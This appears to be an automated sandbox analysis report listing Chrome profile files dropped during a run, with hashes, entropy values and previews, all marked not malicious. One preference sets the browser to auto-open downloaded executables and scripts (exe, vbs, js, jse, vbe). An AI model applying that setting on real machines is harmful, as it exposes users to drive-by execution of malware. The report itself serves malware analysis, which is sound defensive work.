                                                                    Preview:{"account_id_migration_state":2,"account_tracker_service_last_update":"13300960881389501","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):4926
                                                                    Entropy (8bit):4.938463983264468
                                                                    Encrypted:false
                                                                    SSDEEP:48:Yc/kKSChkliubNqAXiqTlYGlQKHoTw0hIYrf4MqM8C1Nfct/9BhUJo3KhmeSnpNI:n3L7M1pIKIHIA5k0JCKL82bOTlVuHn
                                                                    MD5:8145090E02C9B4BF604B60F992083E83
                                                                    SHA1:2213BB9381242EABA2590A27ADC381DF736087FE
                                                                    SHA-256:B9C045BB1EE2630CC6B11E8BB935FF69D874991370DECC9A15E1A3229E4FCD50
                                                                    SHA-512:62D1EA4A09E9247888A3A3622FB7430574A9FC7180FDDEE941440B19A0ECB9904B88C7170B9BDEF1BB2533A2A552671BE7F540B5B2FDC9068E6601D9B23B856B
                                                                    Malicious:false
                                                                    Preview:{"account_id_migration_state":2,"account_tracker_service_last_update":"13300960881389501","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):4899
                                                                    Entropy (8bit):4.932394192742149
                                                                    Encrypted:false
                                                                    SSDEEP:48:Yc/kKSChklieqAXiqTlYGlQKHoTw0hIYrf4MqM8C1Nfct/9BhUJo3KhmeSnpNGzm:n3LRM1pIKIHIA5k0JCKL8bbOTlVuHn
                                                                    MD5:F2373E7D549F06D53F959D64296093CF
                                                                    SHA1:7200DF843A4F898FE87E785528AEF953C4ADDFB6
                                                                    SHA-256:85B55B52BBC7E9902408BA691353743A632C186A953625501872274597B5F25A
                                                                    SHA-512:6837C4EB1BE14B8F4AC4D3DCF1F99FF42A6430A6660D356BC591774B8DCFEC005FD09E5DFDCF3459AAEB795F444A47D5DA2F9E0FD80AFF046ADEA327EC39A104
                                                                    Malicious:false
                                                                    Preview:{"account_id_migration_state":2,"account_tracker_service_last_update":"13300960881389501","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):11217
                                                                    Entropy (8bit):6.069602775336632
                                                                    Encrypted:false
                                                                    SSDEEP:192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT
                                                                    MD5:90F880064A42B29CCFF51FE5425BF1A3
                                                                    SHA1:6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF
                                                                    SHA-256:965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268
                                                                    SHA-512:D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3
                                                                    Malicious:false
                                                                    Preview:{"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZrQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","wifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7CMjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhlzuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):38
                                                                    Entropy (8bit):1.8784775129881184
                                                                    Encrypted:false
                                                                    SSDEEP:3:FQxlXNQxlX:qTCT
                                                                    MD5:51A2CBB807F5085530DEC18E45CB8569
                                                                    SHA1:7AD88CD3DE5844C7FC269C4500228A630016AB5B
                                                                    SHA-256:1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC
                                                                    SHA-512:B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF
                                                                    Malicious:false
                                                                    Preview:.f.5................f.5...............
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text
                                                                    Category:dropped
                                                                    Size (bytes):372
                                                                    Entropy (8bit):5.263230724778501
                                                                    Encrypted:false
                                                                    SSDEEP:6:lNXevmFN+q2Pwkn23iKKdK25+Xqx8chI+IFUtqVANX9fZmwYVANXO3VkwOwkn23U:/evyN+vYf5KkTXfchI3FUtRF/3O3V5JM
                                                                    MD5:D60C4E3E3E1122D6404351E3FD0C67C2
                                                                    SHA1:3F7D8C7BE62AF773129AB30583C403CDBEADA11F
                                                                    SHA-256:FA258650EA0FA01E7AC16E1F4CF0C56D90E77195BBD91D1A47A8028DB25A561A
                                                                    SHA-512:B48C9D2BA467B9DF0F3B118CA5C5FA2F216239851E7CCBDBE6ABC2877F7085D55CEB1D8516B4021584FABC7BA9D060FA73A669E3ED7683F408296AF4221D1C20
                                                                    Malicious:false
                                                                    Preview:2022/06/29-09:21:24.949 18bc Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MANIFEST-000001.2022/06/29-09:21:24.950 18bc Recovering log #3.2022/06/29-09:21:24.951 18bc Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text
                                                                    Category:dropped
                                                                    Size (bytes):372
                                                                    Entropy (8bit):5.263230724778501
                                                                    Encrypted:false
                                                                    SSDEEP:6:lNXevmFN+q2Pwkn23iKKdK25+Xqx8chI+IFUtqVANX9fZmwYVANXO3VkwOwkn23U:/evyN+vYf5KkTXfchI3FUtRF/3O3V5JM
                                                                    MD5:D60C4E3E3E1122D6404351E3FD0C67C2
                                                                    SHA1:3F7D8C7BE62AF773129AB30583C403CDBEADA11F
                                                                    SHA-256:FA258650EA0FA01E7AC16E1F4CF0C56D90E77195BBD91D1A47A8028DB25A561A
                                                                    SHA-512:B48C9D2BA467B9DF0F3B118CA5C5FA2F216239851E7CCBDBE6ABC2877F7085D55CEB1D8516B4021584FABC7BA9D060FA73A669E3ED7683F408296AF4221D1C20
                                                                    Malicious:false
                                                                    Preview:2022/06/29-09:21:24.949 18bc Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MANIFEST-000001.2022/06/29-09:21:24.950 18bc Recovering log #3.2022/06/29-09:21:24.951 18bc Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):489
                                                                    Entropy (8bit):5.089085221478414
                                                                    Encrypted:false
                                                                    SSDEEP:12:ueB3Ja/xMAQNBRoOZflYWBk778B/xgskJnvtBftqMHJkWh:XBJO2BRoUYsY78BJgskpvtptTkWh
                                                                    MD5:9CEF19086D6E05BA96CC0865A2B9B66D
                                                                    SHA1:7CF31DF4A5EADF34942B7E55E4FBEEFD8C142197
                                                                    SHA-256:C15589FE35B09745BF3F8AB7D0469E772E19CEF853776BC3A80A24910734B9E6
                                                                    SHA-512:9310C88F0E6C0375948203F1D6F417CEFE9A76BE0BC84A541BDBDC9C0EA5DE909358636E858D2857AF0D0DE07CA2E093418BF9CBCE943C6C7809CB84AD69515F
                                                                    Malicious:false
                                                                    Preview:...........".....blog..c..desktop..file..html..user..users*J......blog......c......desktop......file......html......user......users..2.........b........c........d........e...........f........g........h........i........j........k........l..........m........n........o..........p........r........s..........t.........u...:A.................................................................BP...L...... ......*(file:///C:/Users/user/Desktop/blog.html2.:..............J...............$
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):1518
                                                                    Entropy (8bit):4.80784950396998
                                                                    Encrypted:false
                                                                    SSDEEP:24:Y26aL3M33ayFGRaXa63aDaaraqavatZa+RdsdwdR/RdsdQdMHwmQYhbG7n/iy:Y2nzM3qyvK6qDHGXCtwWsgRLs0MHyYhM
                                                                    MD5:40DBE072C7E6EFB7E13C8ACC5C5102F8
                                                                    SHA1:C16F1653D3EA0E7A7F50387FB36ECDF99FCEA0B1
                                                                    SHA-256:D6C8C3370480D597DCEC53EDD3D9968EB152CF240C147AAC287C7AD66303E7BA
                                                                    SHA-512:0BC0AC7FAA0B6557B69B83974254347E2E6CED1EE2605FFC5BA6CD265AD6A0D502B4B0BC2CF7A06455DC18335E876B0E838A55BD8C72F039619E95FAF58C1385
                                                                    Malicious:false
                                                                    Preview:{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expi
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):4927
                                                                    Entropy (8bit):4.93867839496723
                                                                    Encrypted:false
                                                                    SSDEEP:48:Yc/kKSChkSiubNqAXiqTlYGlQKHoTw0hIYrf4MqM8C1Nfct/9BhUJo3KhmeSnpNI:n3L0M1pIKIHIA5k0JCKL82bOTlVuHn
                                                                    MD5:612213627257938231CA63A6046045A4
                                                                    SHA1:E846E48AA0E5122BC7EF694677A9B4049A2BAF7A
                                                                    SHA-256:51D98FA986B0AC98BA5614BCC1920979B826DE3B3B8829F4D3D13A8EF29A4A9A
                                                                    SHA-512:17E245BFB79B1738EE90134A55C8622190B9141F2AB0A9B5B37563572679453B7CD7DDFDB61AC2EC605C777BD1A09FEB4479DC45D4C9AEB75656088E8A115843
                                                                    Malicious:false
                                                                    Preview:{"account_id_migration_state":2,"account_tracker_service_last_update":"13300960881389501","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":false,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_rece
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):19796
                                                                    Entropy (8bit):5.564685255910031
                                                                    Encrypted:false
                                                                    SSDEEP:384:So8tRLlM4Xb1kXqKf/pUZNCgVLH2HfDCrUvHGwdYibU44:GLlbb1kXqKf/pUZNCgVLH2HfWrUfGwDs
                                                                    MD5:425E06DDB8405DC08DB18C5364029AD3
                                                                    SHA1:800E688FD4B29B2F7410945893D92CFEC1D816EF
                                                                    SHA-256:283265747074E89211D91BF099E3B1A248CFDA962F0340F1803825967AAD59E4
                                                                    SHA-512:BEF1667BD497C817B9205EE95DBADFBF2AAC9667C0389C5129F60B9E51CF70BE0806B7914C435A44E7081092D84AA8A5538D2772E5B085CC2870DC2206A4813B
                                                                    Malicious:false
                                                                    Preview:{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13300960880693028","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_i
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):325
                                                                    Entropy (8bit):4.971623449303805
                                                                    Encrypted:false
                                                                    SSDEEP:6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHfHYhsBdLJlyH7E4f3K33y
                                                                    MD5:8CA9278965B437DFC789E755E4C61B82
                                                                    SHA1:5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6
                                                                    SHA-256:A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51
                                                                    SHA-512:3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F8
                                                                    Malicious:false
                                                                    Preview:{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):270336
                                                                    Entropy (8bit):0.0012471779557650352
                                                                    Encrypted:false
                                                                    SSDEEP:3:MsEllllkEthXllkl2zE:/M/xT02z
                                                                    MD5:F50F89A0A91564D0B8A211F8921AA7DE
                                                                    SHA1:112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
                                                                    SHA-256:B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
                                                                    SHA-512:BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
                                                                    Malicious:false
                                                                    Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):325
                                                                    Entropy (8bit):4.971623449303805
                                                                    Encrypted:false
                                                                    SSDEEP:6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHfHYhsBdLJlyH7E4f3K33y
                                                                    MD5:8CA9278965B437DFC789E755E4C61B82
                                                                    SHA1:5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6
                                                                    SHA-256:A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51
                                                                    SHA-512:3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F8
                                                                    Malicious:false
                                                                    Preview:{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):325
                                                                    Entropy (8bit):4.9616384877719995
                                                                    Encrypted:false
                                                                    SSDEEP:6:YHpoNXR8+eq7JdV5pirhsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y
                                                                    MD5:B0429187E1BE99DE4D548DC5B2EDEA0A
                                                                    SHA1:B3E07BEE5D753BF1B613BD2DE665C7C21E8184F6
                                                                    SHA-256:D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFED03
                                                                    SHA-512:233F7BDAA848A295E9F58CA52761829FE1044DA1DE1FBCAC407FADC8C7ABA1E4FFD7CA7A4FBE649E83FD1815DC2E3619ACB2A22CE5B2C7241E474CDB9AF2F7ED
                                                                    Malicious:false
                                                                    Preview:{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):270336
                                                                    Entropy (8bit):0.0012471779557650352
                                                                    Encrypted:false
                                                                    SSDEEP:3:MsEllllkEthXllkl2zE:/M/xT02z
                                                                    MD5:F50F89A0A91564D0B8A211F8921AA7DE
                                                                    SHA1:112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
                                                                    SHA-256:B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
                                                                    SHA-512:BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
                                                                    Malicious:false
                                                                    Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):325
                                                                    Entropy (8bit):4.9616384877719995
                                                                    Encrypted:false
                                                                    SSDEEP:6:YHpoNXR8+eq7JdV5pirhsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y
                                                                    MD5:B0429187E1BE99DE4D548DC5B2EDEA0A
                                                                    SHA1:B3E07BEE5D753BF1B613BD2DE665C7C21E8184F6
                                                                    SHA-256:D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFED03
                                                                    SHA-512:233F7BDAA848A295E9F58CA52761829FE1044DA1DE1FBCAC407FADC8C7ABA1E4FFD7CA7A4FBE649E83FD1815DC2E3619ACB2A22CE5B2C7241E474CDB9AF2F7ED
                                                                    Malicious:false
                                                                    Preview:{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):4927
                                                                    Entropy (8bit):4.93867839496723
                                                                    Encrypted:false
                                                                    SSDEEP:48:Yc/kKSChkSiubNqAXiqTlYGlQKHoTw0hIYrf4MqM8C1Nfct/9BhUJo3KhmeSnpNI:n3L0M1pIKIHIA5k0JCKL82bOTlVuHn
                                                                    MD5:612213627257938231CA63A6046045A4
                                                                    SHA1:E846E48AA0E5122BC7EF694677A9B4049A2BAF7A
                                                                    SHA-256:51D98FA986B0AC98BA5614BCC1920979B826DE3B3B8829F4D3D13A8EF29A4A9A
                                                                    SHA-512:17E245BFB79B1738EE90134A55C8622190B9141F2AB0A9B5B37563572679453B7CD7DDFDB61AC2EC605C777BD1A09FEB4479DC45D4C9AEB75656088E8A115843
                                                                    Malicious:false
                                                                    Preview:{"account_id_migration_state":2,"account_tracker_service_last_update":"13300960881389501","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":false,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_rece
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):19796
                                                                    Entropy (8bit):5.564685255910031
                                                                    Encrypted:false
                                                                    SSDEEP:384:So8tRLlM4Xb1kXqKf/pUZNCgVLH2HfDCrUvHGwdYibU44:GLlbb1kXqKf/pUZNCgVLH2HfWrUfGwDs
                                                                    MD5:425E06DDB8405DC08DB18C5364029AD3
                                                                    SHA1:800E688FD4B29B2F7410945893D92CFEC1D816EF
                                                                    SHA-256:283265747074E89211D91BF099E3B1A248CFDA962F0340F1803825967AAD59E4
                                                                    SHA-512:BEF1667BD497C817B9205EE95DBADFBF2AAC9667C0389C5129F60B9E51CF70BE0806B7914C435A44E7081092D84AA8A5538D2772E5B085CC2870DC2206A4813B
                                                                    Malicious:false
                                                                    Preview:{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13300960880693028","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_i
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text
                                                                    Category:dropped
                                                                    Size (bytes):16
                                                                    Entropy (8bit):3.2743974703476995
                                                                    Encrypted:false
                                                                    SSDEEP:3:1sjgWIV//Rv:1qIFJ
                                                                    MD5:6752A1D65B201C13B62EA44016EB221F
                                                                    SHA1:58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
                                                                    SHA-256:0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
                                                                    SHA-512:9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E0389
                                                                    Malicious:false
                                                                    Preview:MANIFEST-000004.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text
                                                                    Category:dropped
                                                                    Size (bytes):16
                                                                    Entropy (8bit):3.2743974703476995
                                                                    Encrypted:false
                                                                    SSDEEP:3:1sjgWIV//Rv:1qIFJ
                                                                    MD5:6752A1D65B201C13B62EA44016EB221F
                                                                    SHA1:58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
                                                                    SHA-256:0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
                                                                    SHA-512:9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E0389
                                                                    Malicious:false
                                                                    Preview:MANIFEST-000004.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):4927
                                                                    Entropy (8bit):4.93867839496723
                                                                    Encrypted:false
